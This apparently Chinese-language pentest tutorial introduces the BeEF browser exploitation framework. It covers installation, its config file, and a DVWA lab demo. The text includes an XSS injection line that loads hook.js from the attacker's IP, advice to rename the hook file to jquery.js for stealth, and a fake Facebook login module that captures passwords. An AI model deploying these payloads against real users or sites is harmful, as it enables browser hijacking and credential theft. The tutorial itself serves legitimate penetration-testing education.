BeEF是Browser Exploitation Framework的缩写。随着人们越来越多地关注针对包括移动客户端在内的客户端的网络传播攻击,BeEF使专业的渗透测试人员可以使用客户端攻击向量来评估目标环境的实际安全状况。与其他安全框架不同,BeEF超越了硬化的网络边界和客户端系统,并在一个门户开放的环境中检查可利用性。BeEF将钩挂一个或多个Web浏览器,并将其用作启动定向命令模块的滩头堡,并从浏览器上下文中对系统进行进一步攻击。它是一个专注于Web浏览器的渗透测试工具。本文将对BeEF工具的使用进行简单介绍。对于XSS漏洞的原理介绍请参考上一篇文章。
一、获取BeEF
1.1 源码安装
BeEF仅支持Mac OSX 10.5.0或更高版本以及Linux平台安装。不支持Windows操作系统。
安装环境要求:
Ruby:2.5或更高版本
SQLite: 3.x
Node.js: 6 或更高版本
Beef源码地址:https://github.com/beefproject/beef
具体安装步骤参照百度beef安装教程。
1.2 kali集成BeEF
BeEF作为一款主流的XSS漏洞利用工具kali自然集成了BeEF功能再里边。启动kali在“漏洞利用工具集”中可以找到“beef xss framework”功能点击即可启动BeEF。
二、BeEF的使用
2.1 启动beef
我们使用kali举例,当点击“beef xss framework”后kali会启动一个终端来运行beef程序如下图所示。说明beef已经启动成功。
启动后注意终端信息中有两个连接:
http://127.0.0.1:3000/ui/panel为beef本地管理终端
http://IP:3000/hook.js为beef注入脚本(修改为本机实际IP地址即可)
打开本地管理终端如下图所示:
需要登录密码默认账号是:beef、默认密码是:beef。
我们可以在配置文件中修改,
2.2 配置beef
beef的配置文件地址为:/usr/share/beef-xss/config.yaml
简单了解一下配置文件,如下图
指定某个网段,只有在这个网段的浏览器才能被hook
permitted_hooking_subnet: “0.0.0.0/0”
指定某个网段,只有在这个网段的浏览器才能访问管理UI
permitted_ui_subnet: “0.0.0.0/0”
设置beef服务器的主机和端口, 如果有自己的域名, 那么可以设置自己的域名, 没有就使用默认
host: “0.0.0.0”
port: “3000”
受害浏览器轮询beef主机的时间, 默认为1秒,可以设置为更低。
xhr_poll_timeout: 1000
管理页面的URI, 默认是/ui, 建议修改,这样就不会让别人找到你的管理页面
web_ui_basepath: “/ui”
hook_file 的名称, 建议修改, 可以修改为jquery.js之类的来提升隐蔽性
hook_file: “/hook.js”
管理页面登录的用户名和密码, 这个一定要改,两个都改是最好的
user: “beef”
passwd: “beef”
2.3 演示攻击
我们使用DVWA作为靶机进行演示将如下脚本地址插入到存在XSS漏洞的注入点上。
<script src=http://<IP>:3000/hook.js></script>
提交后就可以在beef的管理端查看管理靶机浏览器了,到这里我们已经轻松的借助beef利用XSS漏洞获得了浏览器的控制权。接下来就看beef利用XSS漏洞都能做那些事。
2.4 beef功能介绍
我们点击当前在线的主机,然后右边会有选择框,我们点击 Current Browser ,然后下面就有一些功能项:Details、Logs、Commands、Rider、XssRays、Ipec、Network、WebRTC
1、Details-浏览器信息详情
2、logs-键盘记录
3、commands-命令模块
绿色圆圈:表示模块适合目标浏览器,并且执行结果对客户端不可见
红色圆圈:表示模块不适用与当前用户,有些红色模块也可以正常执行
橙色圆圈:模块可用,但结果对用户可见(CAM 弹窗申请权限)
灰色圆圈:模块未在目标浏览器上测试过
命令模块是beef提供给我们的漏洞利用模块,在这里你可以做很多事情。攻击模块如下图所示,共有12个大的功能,每个大模块下边有各种小的功能。
在这里要注意:攻击只可以在测试机器中进行。
我们举一个简单的例子:
在Social Engineering社会工程学模块中点击Pretty Theft骗取登录密码信息,我们选择Facebook举例。
目前beef支持多种账号信息的欺骗,效果如图,在靶机浏览器中弹出Facebook登录框提示用户输入账号密码。
当用户在输入框输入账号密码信息时,beef管理端就会接收到用户输入。beef的功能有很多在这里不一一演示。
默认情况下JS注入附带缓存投毒功能,将视图缓存所有的页面至2099年,但可以通过清除所有缓存及浏览数据来清除缓存投毒的影响。
js缓存投毒说白了就是受害者的浏览器缓存了一个被我们篡改的js脚本,如果缓存没有被清除,每次这个受害者访问网页的时候都会加载我们的js脚本。js缓存投毒说白了就是受害者的浏览器缓存了一个被我们篡改的js脚本,如果缓存没有被清除,每次这个受害者访问网页的时候都会加载我们的js脚本。